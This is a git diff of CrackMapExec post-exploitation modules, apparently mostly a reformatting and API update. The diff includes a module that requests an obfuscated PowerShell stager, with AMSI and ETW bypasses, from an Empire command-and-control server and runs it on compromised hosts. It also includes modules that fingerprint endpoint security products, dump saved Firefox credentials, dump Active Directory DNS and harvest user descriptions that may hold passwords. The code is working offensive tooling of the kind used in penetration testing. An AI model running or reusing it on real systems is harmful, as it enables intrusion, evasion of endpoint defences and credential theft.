OBFUSCATE True if you want to use the built-in Obfuscation (that calls Invoke-Obfuscate)
|
||||
OBFUSCATE_CMD Override Invoke-Obfuscation command (Default is "Token,All,1" and is picked up by Defender)
|
||||
"""
|
||||
|
||||
if not 'LISTENER' in module_options:
|
||||
context.log.fail('LISTENER option is required!')
|
||||
sys.exit(1)
|
||||
|
||||
self.empire_launcher = None
|
||||
|
||||
headers = {'Content-Type': 'application/json'}
|
||||
#Pull the host and port from the config file
|
||||
base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
|
||||
if "LISTENER" not in module_options:
|
||||
context.log.fail("LISTENER option is required!")
|
||||
sys.exit(1)
|
||||
|
||||
api_proto = "https" if "SSL" in module_options else "http"
|
||||
|
||||
obfuscate = True if "OBFUSCATE" in module_options else False
|
||||
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
|
||||
default_obfuscation = "Token,All,1"
|
||||
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
|
||||
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
|
||||
|
||||
# Pull the host and port from the config file
|
||||
base_url = f"{api_proto}://{context.conf.get('Empire', 'api_host')}:{context.conf.get('Empire', 'api_port')}"
|
||||
context.log.debug(f"Empire URL: {base_url}")
|
||||
|
||||
# Pull the username and password from the config file
|
||||
empire_creds = {
|
||||
"username": context.conf.get("Empire", "username"),
|
||||
"password": context.conf.get("Empire", "password"),
|
||||
}
|
||||
context.log.debug(f"Empire Creds: {empire_creds}")
|
||||
|
||||
try:
|
||||
#Pull the username and password from the config file
|
||||
payload = {'username': context.conf.get('Empire', 'username'),
|
||||
'password': context.conf.get('Empire', 'password')}
|
||||
|
||||
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
|
||||
if r.status_code == 200:
|
||||
token = r.json()['token']
|
||||
else:
|
||||
context.log.fail("Error authenticating to Empire's RESTful API server!")
|
||||
sys.exit(1)
|
||||
|
||||
payload = {'StagerName': 'multi/launcher', 'Listener': module_options['LISTENER']}
|
||||
r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
|
||||
|
||||
response = r.json()
|
||||
if "error" in response:
|
||||
context.log.fail("Error from empire : {}".format(response["error"]))
|
||||
sys.exit(1)
|
||||
|
||||
self.empire_launcher = response['multi/launcher']['Output']
|
||||
|
||||
context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
|
||||
|
||||
login_response = requests.post(
|
||||
f"{base_url}/token",
|
||||
data=empire_creds,
|
||||
verify=False,
|
||||
)
|
||||
except ConnectionError as e:
|
||||
context.log.fail("Unable to connect to Empire's RESTful API: {}".format(e))
|
||||
context.log.fail(f"Unable to login to Empire's RESTful API: {e}")
|
||||
sys.exit(1)
|
||||
context.log.debug(f"Response Code: {login_response.status_code}")
|
||||
context.log.debug(f"Response Content: {login_response.text}")
|
||||
|
||||
if login_response.status_code == 200:
|
||||
access_token = login_response.json()["access_token"]
|
||||
headers = {"Authorization": f"Bearer {access_token}"}
|
||||
else:
|
||||
context.log.fail("Error authenticating to Empire's RESTful API")
|
||||
sys.exit(1)
|
||||
|
||||
data = {
|
||||
"name": "cme_ephemeral",
|
||||
"template": "multi_launcher",
|
||||
"options": {
|
||||
"Listener": module_options["LISTENER"],
|
||||
"Language": "powershell",
|
||||
"StagerRetries": "0",
|
||||
"OutFile": "",
|
||||
"Base64": "True",
|
||||
"Obfuscate": obfuscate,
|
||||
"ObfuscateCommand": obfuscate_cmd,
|
||||
"SafeChecks": "True",
|
||||
"UserAgent": "default",
|
||||
"Proxy": "default",
|
||||
"ProxyCreds": "default",
|
||||
"Bypasses": "mattifestation etw",
|
||||
},
|
||||
}
|
||||
try:
|
||||
stager_response = requests.post(
|
||||
f"{base_url}/api/v2/stagers?save=False",
|
||||
json=data,
|
||||
headers=headers,
|
||||
verify=False,
|
||||
)
|
||||
except ConnectionError:
|
||||
context.log.fail(f"Unable to request stager from Empire's RESTful API")
|
||||
sys.exit(1)
|
||||
|
||||
if stager_response.status_code not in [200, 201]:
|
||||
if "not found" in stager_response.json()["detail"]:
|
||||
context.log.fail(f"Listener {module_options['LISTENER']} not found")
|
||||
else:
|
||||
context.log.fail(f"Stager response received a non-200 when creating stager: {stager_response.status_code} {stager_response.text}")
|
||||
sys.exit(1)
|
||||
|
||||
context.log.debug(f"Response Code: {stager_response.status_code}")
|
||||
# context.log.debug(f"Response Content: {stager_response.text}")
|
||||
|
||||
stager_create_data = stager_response.json()
|
||||
context.log.debug(f"Stager data: {stager_create_data}")
|
||||
download_uri = stager_create_data["downloads"][0]["link"]
|
||||
|
||||
download_response = requests.get(
|
||||
f"{base_url}{download_uri}",
|
||||
headers=headers,
|
||||
verify=False,
|
||||
)
|
||||
context.log.debug(f"Response Code: {download_response.status_code}")
|
||||
# context.log.debug(f"Response Content: {download_response.text}")
|
||||
|
||||
self.empire_launcher = download_response.text
|
||||
|
||||
if download_response.status_code == 200:
|
||||
context.log.success(f"Successfully generated launcher for listener '{module_options['LISTENER']}'")
|
||||
else:
|
||||
context.log.fail(f"Something went wrong when retrieving stager Powershell command")
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if self.empire_launcher:
|
||||
connection.execute(self.empire_launcher)
|
||||
context.log.success('Executed Empire Launcher')
|
||||
context.log.success("Executed Empire Launcher")
|
||||
|
||||
+232
-246
@@ -15,6 +15,7 @@ class CMEModule:
|
||||
Uses LsarLookupNames and NamedPipes to gather information on all endpoint protection solutions installed on the the remote host(s)
|
||||
Module by @mpgn_x64
|
||||
"""
|
||||
|
||||
name = "enum_av"
|
||||
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -26,8 +27,7 @@ class CMEModule:
|
||||
self.module_options = module_options
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
"""
|
||||
""" """
|
||||
pass
|
||||
|
||||
def on_login(self, context, connection):
|
||||
@@ -37,18 +37,27 @@ class CMEModule:
|
||||
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
|
||||
|
||||
try:
|
||||
lsa = LsaLookupNames(connection.domain, connection.username, connection.password, target, connection.kerberos, connection.domain, connection.lmhash, connection.nthash)
|
||||
lsa = LsaLookupNames(
|
||||
connection.domain,
|
||||
connection.username,
|
||||
connection.password,
|
||||
target,
|
||||
connection.kerberos,
|
||||
connection.domain,
|
||||
connection.lmhash,
|
||||
connection.nthash,
|
||||
)
|
||||
dce, rpctransport = lsa.connect()
|
||||
policyHandle = lsa.open_policy(dce)
|
||||
|
||||
for i, product in enumerate(conf['products']):
|
||||
for service in product['services']:
|
||||
for i, product in enumerate(conf["products"]):
|
||||
for service in product["services"]:
|
||||
try:
|
||||
lsa.LsarLookupNames(dce, policyHandle, service['name'])
|
||||
lsa.LsarLookupNames(dce, policyHandle, service["name"])
|
||||
context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
|
||||
if product['name'] not in results:
|
||||
results[product['name']] = {"services": []}
|
||||
results[product['name']]['services'].append(service)
|
||||
if product["name"] not in results:
|
||||
results[product["name"]] = {"services": []}
|
||||
results[product["name"]]["services"].append(service)
|
||||
except Exception as e:
|
||||
pass
|
||||
success += 1
|
||||
@@ -57,17 +66,17 @@ class CMEModule:
|
||||
|
||||
context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...")
|
||||
try:
|
||||
for f in connection.conn.listPath('IPC$', '\\*'):
|
||||
for f in connection.conn.listPath("IPC$", "\\*"):
|
||||
fl = f.get_longname()
|
||||
for i, product in enumerate(conf['products']):
|
||||
for pipe in product['pipes']:
|
||||
if pathlib.PurePath(fl).match(pipe['name']):
|
||||
for i, product in enumerate(conf["products"]):
|
||||
for pipe in product["pipes"]:
|
||||
if pathlib.PurePath(fl).match(pipe["name"]):
|
||||
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
|
||||
if product['name'] not in results:
|
||||
results[product['name']] = {}
|
||||
if "pipes" not in results[product['name']]:
|
||||
results[product['name']]['pipes'] = []
|
||||
results[product['name']]['pipes'].append(pipe)
|
||||
if product["name"] not in results:
|
||||
results[product["name"]] = {}
|
||||
if "pipes" not in results[product["name"]]:
|
||||
results[product["name"]]["pipes"] = []
|
||||
results[product["name"]]["pipes"].append(pipe)
|
||||
success += 1
|
||||
except Exception as e:
|
||||
context.log.debug(str(e))
|
||||
@@ -79,15 +88,15 @@ class CMEModule:
|
||||
out1 = ""
|
||||
for item in results:
|
||||
out = out1
|
||||
if 'services' in results[item]:
|
||||
if "services" in results[item]:
|
||||
out += f"{item} INSTALLED"
|
||||
if 'pipes' in results[item]:
|
||||
if "pipes" in results[item]:
|
||||
out += " and it seems to be RUNNING"
|
||||
# else:
|
||||
# for product in conf['products']:
|
||||
# if (item == product['name']) and (len(product['pipes']) == 0):
|
||||
# out += " (NamedPipe for this service was not provided in config)"
|
||||
elif 'pipes' in results[item]:
|
||||
elif "pipes" in results[item]:
|
||||
out += f" {item} RUNNING"
|
||||
context.log.highlight(out)
|
||||
if (len(results) < 1) and (success > 1):
|
||||
@@ -95,7 +104,7 @@ class CMEModule:
|
||||
context.log.highlight(out)
|
||||
|
||||
|
||||
class LsaLookupNames():
|
||||
class LsaLookupNames:
|
||||
timeout = None
|
||||
authn_level = None
|
||||
protocol = None
|
||||
@@ -105,7 +114,17 @@ class LsaLookupNames():
|
||||
iface_uuid = lsat.MSRPC_UUID_LSAT
|
||||
authn = True
|
||||
|
||||
def __init__(self, domain="", username="", password="", remote_name="", k=False, kdcHost="", lmhash="", nthash=""):
|
||||
def __init__(
|
||||
self,
|
||||
domain="",
|
||||
username="",
|
||||
password="",
|
||||
remote_name="",
|
||||
k=False,
|
||||
kdcHost="",
|
||||
lmhash="",
|
||||
nthash="",
|
||||
):
|
||||
self.domain = domain
|
||||
self.username = username
|
||||
self.password = password
|
||||
@@ -133,7 +152,7 @@ class LsaLookupNames():
|
||||
rpc_transport.set_connect_timeout(self.timeout)
|
||||
|
||||
# Authenticate if specified
|
||||
if self.authn and hasattr(rpc_transport, 'set_credentials'):
|
||||
if self.authn and hasattr(rpc_transport, "set_credentials"):
|
||||
# This method exists only for selected protocol sequences.
|
||||
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
|
||||
|
||||
@@ -161,254 +180,221 @@ class LsaLookupNames():
|
||||
|
||||
def open_policy(self, dce):
|
||||
request = lsad.LsarOpenPolicy2()
|
||||
request['SystemName'] = NULL
|
||||
request['ObjectAttributes']['RootDirectory'] = NULL
|
||||
request['ObjectAttributes']['ObjectName'] = NULL
|
||||
request['ObjectAttributes']['SecurityDescriptor'] = NULL
|
||||
request['ObjectAttributes']['SecurityQualityOfService'] = NULL
|
||||
request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
|
||||
request["SystemName"] = NULL
|
||||
request["ObjectAttributes"]["RootDirectory"] = NULL
|
||||
request["ObjectAttributes"]["ObjectName"] = NULL
|
||||
request["ObjectAttributes"]["SecurityDescriptor"] = NULL
|
||||
request["ObjectAttributes"]["SecurityQualityOfService"] = NULL
|
||||
request["DesiredAccess"] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
|
||||
resp = dce.request(request)
|
||||
return resp['PolicyHandle']
|
||||
return resp["PolicyHandle"]
|
||||
|
||||
def LsarLookupNames(self, dce, policyHandle, service):
|
||||
request = lsat.LsarLookupNames()
|
||||
request['PolicyHandle'] = policyHandle
|
||||
request['Count'] = 1
|
||||
request["PolicyHandle"] = policyHandle
|
||||
request["Count"] = 1
|
||||
name1 = RPC_UNICODE_STRING()
|
||||
name1['Data'] = 'NT Service\{}'.format(service)
|
||||
request['Names'].append(name1)
|
||||
request['TranslatedSids']['Sids'] = NULL
|
||||
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
|
||||
name1["Data"] = "NT Service\{}".format(service)
|
||||
request["Names"].append(name1)
|
||||
request["TranslatedSids"]["Sids"] = NULL
|
||||
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
|
||||
resp = dce.request(request)
|
||||
return resp
|
||||
|
||||
|
||||
conf = {
|
||||
"products": [
|
||||
{
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
"products": [
|
||||
{
|
||||
"name": "bdredline_agent",
|
||||
"description": "Bitdefender Agent RedLine Service"
|
||||
"name": "Bitdefender",
|
||||
"services": [
|
||||
{
|
||||
"name": "bdredline_agent",
|
||||
"description": "Bitdefender Agent RedLine Service",
|
||||
},
|
||||
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
|
||||
{
|
||||
"name": "UPDATESRV",
|
||||
"description": "Bitdefender Desktop Update Service",
|
||||
},
|
||||
{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
|
||||
{"name": "bdredline", "description": "Bitdefender RedLine Service"},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "local\\msgbus\\antitracker.low\\*",
|
||||
"processes": ["bdagent.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\aspam.actions.low\\*",
|
||||
"processes": ["bdagent.exe"],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\bd.process.broker.pipe",
|
||||
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
|
||||
},
|
||||
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
|
||||
{
|
||||
"name": "local\\msgbus\\bdauxsrv",
|
||||
"processes": ["bdagent.exe", "bdntwrk.exe"],
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "BDAuxSrv",
|
||||
"description": "Bitdefender Auxiliary Service"
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
{
|
||||
"name": "WinDefend",
|
||||
"description": "Windows Defender Antivirus Service",
|
||||
},
|
||||
{
|
||||
"name": "Sense",
|
||||
"description": "Windows Defender Advanced Threat Protection Service",
|
||||
},
|
||||
{
|
||||
"name": "WdNisSvc",
|
||||
"description": "Windows Defender Antivirus Network Inspection Service",
|
||||
},
|
||||
],
|
||||
"pipes": [],
|
||||
},
|
||||
{
|
||||
"name": "UPDATESRV",
|
||||
"description": "Bitdefender Desktop Update Service"
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
{"name": "ekm", "description": "ESET"},
|
||||
{"name": "epfw", "description": "ESET"},
|
||||
{"name": "epfwlwf", "description": "ESET"},
|
||||
{"name": "epfwwfp", "description": "ESET"},
|
||||
{"name": "EraAgentSvc", "description": "ESET"},
|
||||
],
|
||||
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
|
||||
},
|
||||
{
|
||||
"name": "VSSERV",
|
||||
"description": "Bitdefender Virus Shield"
|
||||
"name": "CrowdStrike",
|
||||
"services": [
|
||||
{
|
||||
"name": "CSFalconService",
|
||||
"description": "CrowdStrike Falcon Sensor Service",
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CrowdStrike\\{*",
|
||||
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
|
||||
}
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "bdredline",
|
||||
"description": "Bitdefender RedLine Service"
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "local\\msgbus\\antitracker.low\\*",
|
||||
"processes": [
|
||||
"bdagent.exe"
|
||||
]
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{
|
||||
"name": "SentinelAgent",
|
||||
"description": "SentinelOne Endpoint Protection Agent",
|
||||
},
|
||||
{
|
||||
"name": "SentinelStaticEngine",
|
||||
"description": "Manage static engines for SentinelOne Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "LogProcessorService",
|
||||
"description": "Manage logs for SentinelOne Endpoint Protection",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
|
||||
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
|
||||
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\aspam.actions.low\\*",
|
||||
"processes": [
|
||||
"bdagent.exe"
|
||||
]
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
|
||||
"pipes": [],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\bd.process.broker.pipe",
|
||||
"processes": [
|
||||
"bdagent.exe",
|
||||
"bdservicehost.exe",
|
||||
"updatesrv.exe"
|
||||
]
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "CybereasonActiveProbe",
|
||||
"description": "Cybereason Active Probe",
|
||||
},
|
||||
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
|
||||
{
|
||||
"name": "CybereasonBlocki",
|
||||
"description": "Cybereason Execution Prevention",
|
||||
},
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CybereasonAPConsoleMinionHostIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
{
|
||||
"name": "CybereasonAPServerProxyIpc_*",
|
||||
"processes": ["minionhost.exe"],
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\bdagent*",
|
||||
"processes": [
|
||||
"bdagent.exe"
|
||||
]
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{
|
||||
"name": "SepMasterService",
|
||||
"description": "Symantec Endpoint Protection",
|
||||
},
|
||||
{
|
||||
"name": "SepScanService",
|
||||
"description": "Symantec Endpoint Protection Scan Services",
|
||||
},
|
||||
{"name": "SNAC", "description": "Symantec Network Access Control"},
|
||||
],
|
||||
"pipes": [],
|
||||
},
|
||||
{
|
||||
"name": "local\\msgbus\\bdauxsrv",
|
||||
"processes": [
|
||||
"bdagent.exe",
|
||||
"bdntwrk.exe"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Windows Defender",
|
||||
"services": [
|
||||
{
|
||||
"name": "WinDefend",
|
||||
"description": "Windows Defender Antivirus Service"
|
||||
"name": "Sophos Intercept X",
|
||||
"services": [
|
||||
{
|
||||
"name": "SntpService",
|
||||
"description": "Sophos Network Threat Protection"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Endpoint Defense Service",
|
||||
"description": "Sophos Endpoint Defense Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos File Scanner Service",
|
||||
"description": "Sophos File Scanner Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Health Service",
|
||||
"description": "Sophos Health Service"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Live Query",
|
||||
"description": "Sophos Live Query"
|
||||
},
|
||||
{
|
||||
"name": "Sophos Managed Threat Response",
|
||||
"description": "Sophos Managed Threat Response"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Agent",
|
||||
"description": "Sophos MCS Agent"
|
||||
},
|
||||
{
|
||||
"name": "Sophos MCS Client",
|
||||
"description": "Sophos MCS Client"
|
||||
},
|
||||
{
|
||||
"name": "Sophos System Protection Service",
|
||||
"description": "Sophos System Protection Service"
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{"name": "SophosUI", "processes": [""]},
|
||||
{"name": "SophosEventStore", "processes": [""]},
|
||||
{"name": "sophos_deviceencryption", "processes": [""]},
|
||||
{"name": "sophoslivequery_*", "processes": [""]},
|
||||
],
|
||||
},
|
||||
{
|
||||
"name": "Sense",
|
||||
"description": "Windows Defender Advanced Threat Protection Service"
|
||||
},
|
||||
{
|
||||
"name": "WdNisSvc",
|
||||
"description": "Windows Defender Antivirus Network Inspection Service"
|
||||
}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "ESET",
|
||||
"services": [
|
||||
{
|
||||
"name": "ekm",
|
||||
"description": "ESET"
|
||||
},
|
||||
{
|
||||
"name": "epfw",
|
||||
"description": "ESET"
|
||||
},
|
||||
{
|
||||
"name": "epfwlwf",
|
||||
"description": "ESET"
|
||||
},
|
||||
{
|
||||
"name": "epfwwfp",
|
||||
"description": "ESET"
|
||||
},
|
||||
{
|
||||
"name": "EraAgentSvc",
|
||||
"description": "ESET"
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "nod_scriptmon_pipe",
|
||||
"processes": [
|
||||
""
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "CrowdStrike",
|
||||
"services": [
|
||||
{
|
||||
"name": "CSFalconService",
|
||||
"description": "CrowdStrike Falcon Sensor Service"
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CrowdStrike\\{*",
|
||||
"processes": [
|
||||
"CSFalconContainer.exe",
|
||||
"CSFalconService.exe"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "SentinelOne",
|
||||
"services": [
|
||||
{
|
||||
"name": "SentinelAgent",
|
||||
"description": "SentinelOne Endpoint Protection Agent"
|
||||
},
|
||||
{
|
||||
"name": "SentinelStaticEngine",
|
||||
"description": "Manage static engines for SentinelOne Endpoint Protection"
|
||||
},
|
||||
{
|
||||
"name": "LogProcessorService",
|
||||
"description": "Manage logs for SentinelOne Endpoint Protection"
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "SentinelAgentWorkerCert.*",
|
||||
"processes": [
|
||||
""
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "DFIScanner.Etw.*",
|
||||
"processes": [
|
||||
"SentinelStaticEngine.exe"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "DFIScanner.Inline.*",
|
||||
"processes": [
|
||||
"SentinelAgent.exe"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Carbon Black App Control",
|
||||
"services": [
|
||||
{
|
||||
"name": "Parity",
|
||||
"description": "Carbon Black App Control Agent"
|
||||
}
|
||||
],
|
||||
"pipes": []
|
||||
},
|
||||
{
|
||||
"name": "Cybereason",
|
||||
"services": [
|
||||
{
|
||||
"name": "CybereasonActiveProbe",
|
||||
"description": "Cybereason Active Probe"
|
||||
},
|
||||
{
|
||||
"name": "CybereasonCRS",
|
||||
"description": "Cybereason Anti-Ransomware"
|
||||
},
|
||||
{
|
||||
"name": "CybereasonBlocki",
|
||||
"description": "Cybereason Execution Prevention"
|
||||
}
|
||||
],
|
||||
"pipes": [
|
||||
{
|
||||
"name": "CybereasonAPConsoleMinionHostIpc_*",
|
||||
"processes": [
|
||||
"minionhost.exe"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "CybereasonAPServerProxyIpc_*",
|
||||
"processes": [
|
||||
"minionhost.exe"
|
||||
]
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Symantec Endpoint Protection",
|
||||
"services": [
|
||||
{
|
||||
"name": "SepMasterService",
|
||||
"description": "Symantec Endpoint Protection"
|
||||
},
|
||||
{
|
||||
"name": "SepScanService",
|
||||
"description": "Symantec Endpoint Protection Scan Services"
|
||||
},
|
||||
{
|
||||
"name": "SNAC",
|
||||
"description": "Symantec Network Access Control"
|
||||
}
|
||||
],
|
||||
"pipes": []
|
||||
}
|
||||
]
|
||||
]
|
||||
}
|
||||
|
||||
+16
-13
@@ -10,6 +10,7 @@ class CMEModule:
|
||||
Uses WMI to dump DNS from an AD DNS Server.
|
||||
Module by @fang0654
|
||||
"""
|
||||
|
||||
name = "enum_dns"
|
||||
description = "Uses WMI to dump DNS from an AD DNS Server"
|
||||
supported_protocols = ["smb"]
|
||||
@@ -26,8 +27,8 @@ class CMEModule:
|
||||
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
|
||||
"""
|
||||
self.domains = None
|
||||
if module_options and 'DOMAIN' in module_options:
|
||||
self.domains = module_options['DOMAIN']
|
||||
if module_options and "DOMAIN" in module_options:
|
||||
self.domains = module_options["DOMAIN"]
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
if not self.domains:
|
||||
@@ -36,24 +37,27 @@ class CMEModule:
|
||||
|
||||
if output:
|
||||
for result in output:
|
||||
domains.append(result['Name']['value'])
|
||||
domains.append(result["Name"]["value"])
|
||||
|
||||
context.log.success('Domains retrieved: {}'.format(domains))
|
||||
context.log.success("Domains retrieved: {}".format(domains))
|
||||
else:
|
||||
domains = [self.domains]
|
||||
data = ""
|
||||
for domain in domains:
|
||||
output = connection.wmi(f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", "root\\microsoftdns")
|
||||
|
||||
output = connection.wmi(
|
||||
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
|
||||
"root\\microsoftdns",
|
||||
)
|
||||
|
||||
if output:
|
||||
domain_data = {}
|
||||
context.log.highlight(f"Results for {domain}")
|
||||
data += f"Results for {domain}\n"
|
||||
for entry in output:
|
||||
text = entry['TextRepresentation']['value']
|
||||
rname = text.split(' ')[0]
|
||||
rtype = text.split(' ')[2]
|
||||
rvalue = ' '.join(text.split(' ')[3:])
|
||||
text = entry["TextRepresentation"]["value"]
|
||||
rname = text.split(" ")[0]
|
||||
rtype = text.split(" ")[2]
|
||||
rvalue = " ".join(text.split(" ")[3:])
|
||||
if domain_data.get(rtype, False):
|
||||
domain_data[rtype].append(f"{rname}: {rvalue}")
|
||||
else:
|
||||
@@ -63,10 +67,9 @@ class CMEModule:
|
||||
context.log.highlight(f"Record Type: {k}")
|
||||
data += f"Record Type: {k}\n"
|
||||
for d in sorted(v):
|
||||
context.log.highlight("\t"+d)
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
log_name = "DNS-Enum-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to {log_name}")
|
||||
|
||||
|
||||
@@ -1,11 +1,13 @@
|
||||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Example
|
||||
Module by @yomama
|
||||
"""
|
||||
|
||||
name = "example module"
|
||||
description = "I do something"
|
||||
supported_protocols = []
|
||||
|
||||
+14
-5
@@ -9,15 +9,16 @@ class CMEModule:
|
||||
Inspired by firefox looting from DonPAPI
|
||||
https://github.com/login-securite/DonPAPI
|
||||
"""
|
||||
name = 'firefox'
|
||||
description = 'Dump credentials from Firefox'
|
||||
supported_protocols = ['smb']
|
||||
|
||||
name = "firefox"
|
||||
description = "Dump credentials from Firefox"
|
||||
supported_protocols = ["smb"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""Dump credentials from Firefox"""
|
||||
pass
|
||||
pass
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
host = connection.hostname + "." + connection.domain
|
||||
@@ -48,6 +49,14 @@ class CMEModule:
|
||||
firefox_triage.upgrade_connection(connection=connection.conn)
|
||||
firefox_credentials = firefox_triage.run()
|
||||
for credential in firefox_credentials:
|
||||
context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url != '' else '-', credential.username, credential.password))
|
||||
context.log.highlight(
|
||||
"[%s][FIREFOX] %s %s:%s"
|
||||
% (
|
||||
credential.winuser,
|
||||
credential.url + " -" if credential.url != "" else "-",
|
||||
credential.username,
|
||||
credential.password,
|
||||
)
|
||||
)
|
||||
except Exception as e:
|
||||
context.log.debug("Error while looting firefox: {}".format(e))
|
||||
|
||||
@@ -9,31 +9,32 @@ from cme.logger import cme_logger
|
||||
|
||||
class CMEModule:
|
||||
"""
|
||||
Get description of users
|
||||
Module by @nodauf
|
||||
Get description of users
|
||||
Module by @nodauf
|
||||
"""
|
||||
name = 'get-desc-users'
|
||||
description = 'Get description of the users. May contained password'
|
||||
supported_protocols = ['ldap']
|
||||
|
||||
name = "get-desc-users"
|
||||
description = "Get description of the users. May contained password"
|
||||
supported_protocols = ["ldap"]
|
||||
opsec_safe = True # Does the module touch disk?
|
||||
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
FILTER Apply the FILTER (grep-like) (default: '')
|
||||
PASSWORDPOLICY Is the windows password policy enabled ? (default: False)
|
||||
MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6)
|
||||
FILTER Apply the FILTER (grep-like) (default: '')
|
||||
PASSWORDPOLICY Is the windows password policy enabled ? (default: False)
|
||||
MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6)
|
||||
"""
|
||||
self.FILTER = ''
|
||||
self.MINLENGTH = '6'
|
||||
self.FILTER = ""
|
||||
self.MINLENGTH = "6"
|
||||
self.PASSWORDPOLICY = False
|
||||
if 'FILTER' in module_options:
|
||||
self.FILTER = module_options['FILTER']
|
||||
if 'MINLENGTH' in module_options:
|
||||
self.MINLENGTH = module_options['MINLENGTH']
|
||||
